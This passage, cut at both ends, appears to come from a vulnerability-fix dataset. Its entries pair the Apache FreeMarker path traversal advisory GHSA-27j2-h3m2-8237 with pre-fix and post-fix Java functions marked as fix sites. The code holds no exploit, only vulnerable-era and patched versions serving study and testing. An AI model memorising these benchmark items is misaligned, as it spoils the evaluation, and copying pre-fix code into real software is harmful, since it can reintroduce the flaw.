mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context." commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb" cwe = "CWE-23" family = "path" function = "getTemplateInternal" function_lines = [[323, 463]] id = "apache-freemarker-46458e154673da1a" language = "java" method = "fix_site" parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d" path = "freemarker-core/src/main/java/freemarker/cache/TemplateCache.java" post_fix = " private Template getTemplateInternal(\n final String name, final Locale locale, final Object customLookupCondition,\n final String encoding, final boolean parseAsFTL)\n throws IOException {\n final boolean debug = LOG.isDebugEnabled();\n final String debugName = debug\n ? buildDebugName(name, locale, customLookupCondition, encoding, parseAsFTL)\n : null;\n final TemplateKey tk = new TemplateKey(name, locale, customLookupCondition, encoding, parseAsFTL);\n\n CachedTemplate cachedTemplate;\n if (isStorageConcurrent) {\n cachedTemplate = (CachedTemplate) storage.get(tk);\n } else {\n synchronized (storage) {\n cachedTemplate = (CachedTemplate) storage.get(tk);\n }\n }\n\n final long now = System.currentTimeMillis();\n\n long lastModified;\n boolean rethrown = false;\n TemplateLookupResult newLookupResult = null;\n try {\n if (cachedTemplate != null) {\n // If we're within the refresh delay, return the cached copy\n if (now - cachedTemplate.lastChecked < updateDelay) {\n if (debug) {\n LOG.debug(debugName + \" cached copy not yet stale; using cached.\");\n }\n // Can be null, indicating a cached negative lookup\n Object t = cachedTemplate.templateOrException;\n if (t instanceof Template || t == null) {\n return (Template) t;\n } else if (t instanceof RuntimeException) {\n throwLoadFailedException((RuntimeException) t);\n } else if (t instanceof IOException) {\n rethrown = true;\n throwLoadFailedException((IOException) t);\n }\n throw new BugException(\"t is \" + t.getClass().getName());\n }\n\n // Clone as the instance bound to the map should be treated as\n // immutable to ensure proper concurrent semantics\n cachedTemplate = cachedTemplate.cloneCachedTemplate();\n // Update the last-checked flag\n cachedTemplate.lastChecked = now;\n\n // Find the template source\n newLookupResult = lookupTemplate(name, locale, customLookupCondition);\n\n // Template source was removed\n if (!newLookupResult.isPositive()) {\n if (debug) {\n LOG.debug(debugName + \" no source found.\");\n }\n storeNegativeLookup(tk, cachedTemplate, null);\n return null;\n }\n\n // If the source didn't change and its last modified date\n // also didn't change, return the cached version.\n final Object newLookupResultSource = newLookupResult.getTemplateSource();\n lastModified = templateLoader.getLastModified(newLookupResultSource);\n boolean lastModifiedNotChanged = lastModified == cachedTemplate.lastModified;\n boolean sourceEquals = newLookupResultSource.equals(cachedTemplate.source);\n if (lastModifiedNotChanged && sourceEquals) {\n if (debug) {\n LOG.debug(debugName + \": using cached since \" + newLookupResultSource + \" hasn't changed.\");\n }\n storeCached(tk, cachedTemplate);\n return (Template) cachedTemplate.templateOrException;\n } else if (debug) {\n if (!sourceEquals) {\n LOG.debug(\"Updating source because: \" +\n \"sourceEquals=false\" +\n \", newlyFoundSource=\" + StringUtil.jQuoteNoXSS(newLookupResultSource) +\n \", cached.source=\" + StringUtil.jQuoteNoXSS(cachedTemplate.source));\n } else {\n LOG.debug(\"Updating source because: \" +\n \"lastModifiedNotChanged=\" + lastModifiedNotChanged +\n \", cached.lastModified=\" + cachedTemplate.lastModified +\n \" != source.lastModified=\" + lastModified);\n }\n }\n } else {\n if (debug) {\n LOG.debug(\"Couldn't find template in cache for \" + debugName + \"; will try to load it.\");\n }\n\n // Construct a new CachedTemplate entry. Note we set the\n // cachedTemplate.lastModified to Long.MIN_VALUE. This is\n // a flag that signs it has to be explicitly queried later on.\n cachedTemplate = new CachedTemplate();\n cachedTemplate.lastChecked = now;\n\n newLookupResult = lookupTemplate(name, locale, customLookupCondition);\n\n if (!newLookupResult.isPositive()) {\n storeNegativeLookup(tk, cachedTemplate, null);\n return null;\n }\n\n cachedTemplate.lastModified = lastModified = Long.MIN_VALUE;\n }\n\n Object source = newLookupResult.getTemplateSource();\n cachedTemplate.source = source;\n\n // If we get here, then we need to (re)load the template\n if (debug) {\n LOG.debug(\"Loading template for \" + debugName + \" from \" + StringUtil.jQuoteNoXSS(source));\n }\n\n lastModified = lastModified == Long.MIN_VALUE ? templateLoader.getLastModified(source) : lastModified;\n Template template = loadTemplate(\n templateLoader, source,\n name, newLookupResult.getTemplateSourceName(), locale, customLookupCondition,\n encoding, parseAsFTL);\n cachedTemplate.templateOrException = template;\n cachedTemplate.lastModified = lastModified;\n storeCached(tk, cachedTemplate);\n return template;\n } catch (RuntimeException e) {\n if (cachedTemplate != null) {\n storeNegativeLookup(tk, cachedTemplate, e);\n }\n throw e;\n } catch (IOException e) {\n if (!rethrown) {\n storeNegativeLookup(tk, cachedTemplate, e);\n }\n throw e;\n } finally {\n if (newLookupResult != null && newLookupResult.isPositive()) {\n templateLoader.closeTemplateSource(newLookupResult.getTemplateSource());\n }\n }\n }" pre_fix = " private Template getTemplateInternal(\n final String name, final Locale locale, final Object customLookupCondition,\n final String encoding, final boolean parseAsFTL)\n throws IOException {\n final boolean debug = LOG.isDebugEnabled();\n final String debugName = debug\n ? buildDebugName(name, locale, customLookupCondition, encoding, parseAsFTL)\n : null;\n final TemplateKey tk = new TemplateKey(name, locale, customLookupCondition, encoding, parseAsFTL);\n \n CachedTemplate cachedTemplate;\n if (isStorageConcurrent) {\n cachedTemplate = (CachedTemplate) storage.get(tk);\n } else {\n synchronized (storage) {\n cachedTemplate = (CachedTemplate) storage.get(tk);\n }\n }\n \n final long now = System.currentTimeMillis();\n \n long lastModified = -1L;\n boolean rethrown = false;\n TemplateLookupResult newLookupResult = null;\n try {\n if (cachedTemplate != null) {\n // If we're within the refresh delay, return the cached copy\n if (now - cachedTemplate.lastChecked < updateDelay) {\n if (debug) {\n LOG.debug(debugName + \" cached copy not yet stale; using cached.\");\n }\n // Can be null, indicating a cached negative lookup\n Object t = cachedTemplate.templateOrException;\n if (t instanceof Template || t == null) {\n return (Template) t;\n } else if (t instanceof RuntimeException) {\n throwLoadFailedException((RuntimeException) t);\n } else if (t instanceof IOException) {\n rethrown = true;\n throwLoadFailedException((IOException) t);\n }\n throw new BugException(\"t is \" + t.getClass().getName());\n }\n \n // Clone as the instance bound to the map should be treated as\n // immutable to ensure proper concurrent semantics\n cachedTemplate = cachedTemplate.cloneCachedTemplate();\n // Update the last-checked flag\n cachedTemplate.lastChecked = now;\n\n // Find the template source\n newLookupResult = lookupTemplate(name, locale, customLookupCondition);\n\n // Template source was removed\n if (!newLookupResult.isPositive()) {\n if (debug) {\n LOG.debug(debugName + \" no source found.\");\n } \n storeNegativeLookup(tk, cachedTemplate, null);\n return null;\n }\n\n // If the source didn't change and its last modified date\n // also didn't change, return the cached version.\n final Object newLookupResultSource = newLookupResult.getTemplateSource();\n lastModified = templateLoader.getLastModified(newLookupResultSource);\n boolean lastModifiedNotChanged = lastModified == cachedTemplate.lastModified;\n boolean sourceEquals = newLookupResultSource.equals(cachedTemplate.source);\n if (lastModifiedNotChanged && sourceEquals) {\n if (debug) {\n LOG.debug(debugName + \": using cached since \" + newLookupResultSource + \" hasn't changed.\");\n }\n storeCached(tk, cachedTemplate);\n return (Template) cachedTemplate.templateOrException;\n } else if (debug) {\n if (!sourceEquals) {\n LOG.debug(\"Updating source because: \" + \n \"sourceEquals=\" + sourceEquals + \n \", newlyFoundSource=\" + StringUtil.jQuoteNoXSS(newLookupResultSource) + \n \", cached.source=\" + StringUtil.jQuoteNoXSS(cachedTemplate.source));\n } else if (!lastModifiedNotChanged) {\n LOG.debug(\"Updating source because: \" + \n \"lastModifiedNotChanged=\" + lastModifiedNotChanged + \n \", cached.lastModified=\" + cachedTemplate.lastModified + \n \" != source.lastModified=\" + lastModified);\n }\n }\n } else {\n if (debug) {\n LOG.debug(\"Couldn't find template in cache for \" + debugName + \"; will try to load it.\");\n }\n \n // Construct a new CachedTemplate entry. Note we set the\n // cachedTemplate.lastModified to Long.MIN_VALUE. This is\n // a flag that signs it has to be explicitly queried later on.\n cachedTemplate = new CachedTemplate();\n cachedTemplate.lastChecked = now;\n \n newLookupResult = lookupTemplate(name, locale, customLookupCondition);\n \n if (!newLookupResult.isPositive()) {\n storeNegativeLookup(tk, cachedTemplate, null);\n return null;\n }\n \n cachedTemplate.lastModified = lastModified = Long.MIN_VALUE;\n }\n\n Object source = newLookupResult.getTemplateSource();\n cachedTemplate.source = source;\n \n // If we get here, then we need to (re)load the template\n if (debug) {\n LOG.debug(\"Loading template for \" + debugName + \" from \" + StringUtil.jQuoteNoXSS(source));\n }\n \n lastModified = lastModified == Long.MIN_VALUE ? templateLoader.getLastModified(source) : lastModified; \n Template template = loadTemplate(\n templateLoader, source,\n name, newLookupResult.getTemplateSourceName(), locale, customLookupCondition,\n encoding, parseAsFTL);\n cachedTemplate.templateOrException = template;\n cachedTemplate.lastModified = lastModified;\n storeCached(tk, cachedTemplate);\n return template;\n } catch (RuntimeException e) {\n if (cachedTemplate != null) {\n storeNegativeLookup(tk, cachedTemplate, e);\n }\n throw e;\n } catch (IOException e) {\n if (!rethrown) {\n storeNegativeLookup(tk, cachedTemplate, e);\n }\n throw e;\n } finally {\n if (newLookupResult != null && newLookupResult.isPositive()) {\n templateLoader.closeTemplateSource(newLookupResult.getTemplateSource());\n }\n }\n }" repo = "apache/freemarker" url = "https://github.com/apache/freemarker.git" [[case]] advisory = "GHSA-27j2-h3m2-8237" advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context." commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb" cwe = "CWE-23" family = "path" function = "setSQLDateAndTimeTimeZone" function_lines = [[1293, 1316]] id = "apache-freemarker-5b201fbf15fe43ca" language = "java" method = "fix_site" parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d" path = "freemarker-core/src/main/java/freemarker/core/Environment.java" post_fix = " public void setSQLDateAndTimeTimeZone(TimeZone timeZone) {\n TimeZone prevTimeZone = getSQLDateAndTimeTimeZone();\n super.setSQLDateAndTimeTimeZone(timeZone);\n\n if (!Objects.equals(timeZone, prevTimeZone)) {\n if (cachedTempDateFormatArray != null) {\n for (int i = CACHED_TDFS_SQL_D_T_TZ_OFFS; i < CACHED_TDFS_LENGTH; i++) {\n TemplateDateFormat format = cachedTempDateFormatArray[i];\n if (format != null && format.isTimeZoneBound()) {\n cachedTempDateFormatArray[i] = null;\n }\n }\n }\n if (cachedTempDateFormatsByFmtStrArray != null) {\n for (int i = CACHED_TDFS_SQL_D_T_TZ_OFFS; i < CACHED_TDFS_LENGTH; i++) {\n cachedTempDateFormatsByFmtStrArray[i] = null;\n }\n }\n\n cachedSQLDateAndTimeTimeZoneSameAsNormal = null;\n }\n }\n\n /**\n * Tells if the same concrete time zone is used for SQL date-only and time-only values as for other\n * date/time/date-time values.\n */" pre_fix = " public void setSQLDateAndTimeTimeZone(TimeZone timeZone) {\n TimeZone prevTimeZone = getSQLDateAndTimeTimeZone();\n super.setSQLDateAndTimeTimeZone(timeZone);\n\n if (!nullSafeEquals(timeZone, prevTimeZone)) {\n if (cachedTempDateFormatArray != null) {\n for (int i = CACHED_TDFS_SQL_D_T_TZ_OFFS; i < CACHED_TDFS_LENGTH; i++) {\n TemplateDateFormat format = cachedTempDateFormatArray[i];\n if (format != null && format.isTimeZoneBound()) {\n cachedTempDateFormatArray[i] = null;\n }\n }\n }\n if (cachedTempDateFormatsByFmtStrArray != null) {\n for (int i = CACHED_TDFS_SQL_D_T_TZ_OFFS; i < CACHED_TDFS_LENGTH; i++) {\n cachedTempDateFormatsByFmtStrArray[i] = null;\n }\n }\n\n cachedSQLDateAndTimeTimeZoneSameAsNormal = null;\n }\n }\n\n // Replace with Objects.equals in Java 7" repo = "apache/freemarker" url = "https://github.com/apache/freemarker.git" [[case]] advisory = "GHSA-27j2-h3m2-8237" advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context." commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb" cwe = "CWE-23" family = "path" function = "resolve" function_lines = [[92, 120]] id = "apache-freemarker-68401dcb84d645a6" language = "java" method = "fix_site" parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d" path = "freemarker-core/src/main/java/freemarker/core/OptInTemplateClassResolver.java" post_fix = " public Class resolve(String className, Environment env, Template template)\n throws TemplateException {\n String templateName = safeGetTemplateName(template);\n\n if (templateName != null\n && (trustedTemplateNames.contains(templateName)\n || hasMatchingPrefix(templateName))) {\n return TemplateClassResolver.SAFER_RESOLVER.resolve(className, env, template);\n } else {\n if (!allowedClasses.contains(className)) {\n throw new _MiscTemplateException(env,\n \"Instantiating \", className, \" is not allowed in the template for security reasons. (If you \"\n + \"run into this problem when using ?new in a template, you may want to check the \\\"\",\n Configurable.NEW_BUILTIN_CLASS_RESOLVER_KEY,\n \"\\\" setting in the FreeMarker configuration.)\");\n } else {\n try {\n return ClassUtil.forName(className);\n } catch (ClassNotFoundException e) {\n throw new _MiscTemplateException(e, env);\n }\n }\n }\n }\n\n /**\n * Extract the template name from the template object which will be matched against the trusted template names and\n * pattern.\n */" pre_fix = " public Class resolve(String className, Environment env, Template template)\n throws TemplateException {\n String templateName = safeGetTemplateName(template);\n \n if (templateName != null\n && (trustedTemplateNames.contains(templateName)\n || hasMatchingPrefix(templateName))) {\n return TemplateClassResolver.SAFER_RESOLVER.resolve(className, env, template);\n } else {\n if (!allowedClasses.contains(className)) {\n throw new _MiscTemplateException(env,\n \"Instantiating \", className, \" is not allowed in the template for security reasons. (If you \"\n + \"run into this problem when using ?new in a template, you may want to check the \\\"\",\n Configurable.NEW_BUILTIN_CLASS_RESOLVER_KEY,\n \"\\\" setting in the FreeMarker configuration.)\");\n } else {\n try {\n return ClassUtil.forName(className);\n } catch (ClassNotFoundException e) {\n throw new _MiscTemplateException(e, env);\n }\n }\n }\n }\n\n /**\n * Extract the template name from the template object which will be matched\n * against the trusted template names and pattern. \n */" repo = "apache/freemarker" url = "https://github.com/apache/freemarker.git" [[case]] advisory = "GHSA-27j2-h3m2-8237" advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context." commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb" cwe = "CWE-23" family = "path" function = "rootBasedNameToAbsoluteName" function_lines = [[215, 225]] id = "apache-freemarker-6ff76988cae7dfa5" language = "java" method = "fix_site" parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d" path = "freemarker-core/src/main/java/freemarker/cache/TemplateNameFormat.java" post_fix = " String rootBasedNameToAbsoluteName(String name) {\n if (name.indexOf(\"://\") > 0) {\n return name;\n }\n if (!name.startsWith(\"/\")) {\n return \"/\" + name;\n }\n return name;\n }\n\n @Override" pre_fix = " String rootBasedNameToAbsoluteName(String name) throws MalformedTemplateNameException {\n if (name.indexOf(\"://\") > 0) {\n return name;\n }\n if (!name.startsWith(\"/\")) {\n return \"/\" + name;\n }\n return name;\n }\n \n @Override" repo = "apache/freemarker" url = "https://github.com/apache/freemarker.git" [[case]] advisory = "GHSA-27j2-h3m2-8237" advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context." commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb" cwe = "CWE-23" family = "path" function = "URLTemplateSource" function_lines = [[41, 50]] id = "apache-freemarker-8083f17f7cbadd46" language = "java" method = "fix_site" parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d" path = "freemarker-core/src/main/java/freemarker/cache/URLTemplateSource.java" post_fix = " public URLTemplateSource(URL url, Boolean useCaches) throws IOException {\n this.url = url;\n this.conn = url.openConnection();\n this.useCaches = useCaches;\n if (useCaches != null) {\n conn.setUseCaches(useCaches);\n }\n }\n\n @Override" pre_fix = " public URLTemplateSource(URL url, Boolean useCaches) throws IOException {\n this.url = url;\n this.conn = url.openConnection();\n this.useCaches = useCaches;\n if (useCaches != null) {\n conn.setUseCaches(useCaches.booleanValue());\n }\n }\n\n @Override" repo = "apache/freemarker" url = "https://github.com/apache/freemarker.git" [[case]] advisory = "GHSA-27j2-h3m2-8237" advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context." commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb" cwe = "CWE-23" family = "path" function = "canonicalizePrefix" function_lines = [[112, 122]] id = "apache-freemarker-9a97c39706187df2" language = "java" method = "fix_site" parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d" path = "freemarker-core/src/main/java/freemarker/cache/URLTemplateLoader.java" post_fix = " protected static String canonicalizePrefix(String prefix) {\n if (prefix.isEmpty()) {\n return prefix;\n }\n\n prefix = prefix.replace('\\\\', '/');\n return prefix.endsWith(\"/\") ? prefix : prefix + \"/\";\n }\n\n}" pre_fix = " protected static String canonicalizePrefix(String prefix) {\n // make it foolproof\n prefix = prefix.replace('\\\\', '/');\n // ensure there's a trailing slash\n if (prefix.length() > 0 && !prefix.endsWith(\"/\")) {\n prefix += \"/\";\n }\n return prefix;\n }\n \n}" repo = "apache/freemarker" url = "https://github.com/apache/freemarker.git" [[case]] advisory = "GHSA-27j2-h3m2-8237" advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context." commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb" cwe = "CWE-23" family = "path" function = "loadTemplate" function_lines = [[524, 589]] id = "apache-freemarker-9c4ae45efeed53a7" language = "java" method = "fix_site" parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d" path = "freemarker-core/src/main/java/freemarker/cache/TemplateCache.java" post_fix = " private Template loadTemplate(\n final TemplateLoader templateLoader, final Object source,\n final String name, final String sourceName, Locale locale, final Object customLookupCondition,\n String initialEncoding, final boolean parseAsFTL) throws IOException {\n final TemplateConfiguration tc;\n try {\n tc = templateConfigurations != null ? templateConfigurations.get(sourceName, source) : null;\n } catch (TemplateConfigurationFactoryException e) {\n throw new IOException(\"Error while getting TemplateConfiguration; see cause exception.\", e);\n }\n if (tc != null) {\n // TC.{encoding,locale} is stronger than the cfg.getTemplate arguments by design.\n if (tc.isEncodingSet()) {\n initialEncoding = tc.getEncoding();\n }\n if (tc.isLocaleSet()) {\n locale = tc.getLocale();\n }\n }\n\n Template template;\n {\n if (parseAsFTL) {\n try {\n try (Reader reader = templateLoader.getReader(source, initialEncoding)) {\n template = new Template(name, sourceName, reader, config, tc, initialEncoding);\n }\n } catch (Template.WrongEncodingException wee) {\n String actualEncoding = wee.getTemplateSpecifiedEncoding();\n if (LOG.isDebugEnabled()) {\n LOG.debug(\"Initial encoding \\\"\" + initialEncoding + \"\\\" was incorrect, re-reading with \\\"\"\n + actualEncoding + \"\\\". Template: \" + sourceName);\n }\n\n try (Reader reader = templateLoader.getReader(source, actualEncoding)) {\n template = new Template(name, sourceName, reader, config, tc, actualEncoding);\n }\n }\n } else {\n // Read the contents into a StringWriter, then construct a single-text-block template from it.\n final StringWriter sw = new StringWriter();\n final char[] buf = new char[4096];\n try (Reader reader = templateLoader.getReader(source, initialEncoding)) {\n while (true) {\n int charsRead = reader.read(buf);\n if (charsRead > 0) {\n sw.write(buf, 0, charsRead);\n } else if (charsRead < 0) {\n break;\n }\n }\n }\n template = Template.getPlainTextTemplate(name, sourceName, sw.toString(), config);\n template.setEncoding(initialEncoding);\n }\n }\n\n if (tc != null) {\n tc.apply(template);\n }\n\n template.setLocale(locale);\n template.setCustomLookupCondition(customLookupCondition);\n return template;\n }" pre_fix = " private Template loadTemplate(\n final TemplateLoader templateLoader, final Object source,\n final String name, final String sourceName, Locale locale, final Object customLookupCondition,\n String initialEncoding, final boolean parseAsFTL) throws IOException {\n final TemplateConfiguration tc;\n try {\n tc = templateConfigurations != null ? templateConfigurations.get(sourceName, source) : null;\n } catch (TemplateConfigurationFactoryException e) {\n throw newIOException(\"Error while getting TemplateConfiguration; see cause exception.\", e);\n }\n if (tc != null) {\n // TC.{encoding,locale} is stronger than the cfg.getTemplate arguments by design.\n if (tc.isEncodingSet()) {\n initialEncoding = tc.getEncoding();\n }\n if (tc.isLocaleSet()) {\n locale = tc.getLocale();\n }\n }\n \n Template template;\n {\n if (parseAsFTL) {\n try {\n try (Reader reader = templateLoader.getReader(source, initialEncoding)) {\n template = new Template(name, sourceName, reader, config, tc, initialEncoding);\n }\n } catch (Template.WrongEncodingException wee) {\n String actualEncoding = wee.getTemplateSpecifiedEncoding();\n if (LOG.isDebugEnabled()) {\n LOG.debug(\"Initial encoding \\\"\" + initialEncoding + \"\\\" was incorrect, re-reading with \\\"\"\n + actualEncoding + \"\\\". Template: \" + sourceName);\n }\n\n try (Reader reader = templateLoader.getReader(source, actualEncoding)) {\n template = new Template(name, sourceName, reader, config, tc, actualEncoding);\n }\n }\n } else {\n // Read the contents into a StringWriter, then construct a single-text-block template from it.\n final StringWriter sw = new StringWriter();\n final char[] buf = new char[4096];\n try (Reader reader = templateLoader.getReader(source, initialEncoding)) {\n fetchChars:\n while (true) {\n int charsRead = reader.read(buf);\n if (charsRead > 0) {\n sw.write(buf, 0, charsRead);\n } else if (charsRead < 0) {\n break fetchChars;\n }\n }\n }\n template = Template.getPlainTextTemplate(name, sourceName, sw.toString(), config);\n template.setEncoding(initialEncoding);\n }\n }\n\n if (tc != null) {\n tc.apply(template);\n }\n \n template.setLocale(locale);\n template.setCustomLookupCondition(customLookupCondition);\n return template;\n }" repo = "apache/freemarker" url = "https://github.com/apache/freemarker.git" [[case]] advisory = "GHSA-27j2-h3m2-8237" advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context." commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb" cwe = "CWE-23" family = "path" function = "hasMatchingPrefix" function_lines = [[150, 158]] id = "apache-freemarker-a05c81da5a0b21df" language = "java" method = "fix_site" parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d" path = "freemarker-core/src/main/java/freemarker/core/OptInTemplateClassResolver.java" post_fix = " private boolean hasMatchingPrefix(String name) {\n for (String trustedTemplatePrefix : trustedTemplatePrefixes) {\n if (name.startsWith(trustedTemplatePrefix)) return true;\n }\n return false;\n }\n}" pre_fix = " private boolean hasMatchingPrefix(String name) {\n for (int i = 0; i < trustedTemplatePrefixes.size(); i++) {\n String prefix = (String) trustedTemplatePrefixes.get(i);\n if (name.startsWith(prefix)) return true;\n }\n return false;\n }\n\n}" repo = "apache/freemarker" url = "https://github.com/apache/freemarker.git" [[case]] advisory = "GHSA-27j2-h3m2-8237" advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context." commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb" cwe = "CWE-23" family = "path" function = "hashCode" function_lines = [[862, 887]] id = "apache-freemarker-a176addda844a7ce" language = "java" method = "fix_site" parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d" path = "freemarker-core/src/main/java/freemarker/cache/TemplateCache.java" post_fix = " public int hashCode() {\n return\n name.hashCode() ^\n locale.hashCode() ^\n encoding.hashCode() ^\n (customLookupCondition != null ? customLookupCondition.hashCode() : 0) ^\n Boolean.valueOf(!parse).hashCode();\n }\n }\n\n /**\n * This class holds the cached template and associated information (the source object, and the last-checked and\n * last-modified timestamps). It is used as the value in the cached templates map. Note: this class is Serializable\n * to allow custom 3rd party CacheStorage implementations to serialize/replicate them (see tracker issue #1926150);\n * FreeMarker code itself doesn't rely on its serializability.\n */\n private static final class CachedTemplate implements Cloneable, Serializable {\n private static final long serialVersionUID = 1L;\n\n Object templateOrException;\n Object source;\n long lastChecked;\n long lastModified;\n" pre_fix = " public int hashCode() {\n return\n name.hashCode() ^\n locale.hashCode() ^\n encoding.hashCode() ^\n (customLookupCondition != null ? customLookupCondition.hashCode() : 0) ^\n Boolean.valueOf(!parse).hashCode();\n }\n }\n\n /**\n * This class holds the cached template and associated information\n * (the source object, and the last-checked and last-modified timestamps).\n * It is used as the value in the cached templates map. Note: this class\n * is Serializable to allow custom 3rd party CacheStorage implementations \n * to serialize/replicate them (see tracker issue #1926150); FreeMarker \n * code itself doesn't rely on its serializability.\n */\n private static final class CachedTemplate implements Cloneable, Serializable {\n private static final long serialVersionUID = 1L;\n\n Object templateOrException;\n Object source;\n long lastChecked;\n long lastModified;\n " repo = "apache/freemarker" url = "https://github.com/apache/freemarker.git" [[case]] advisory = 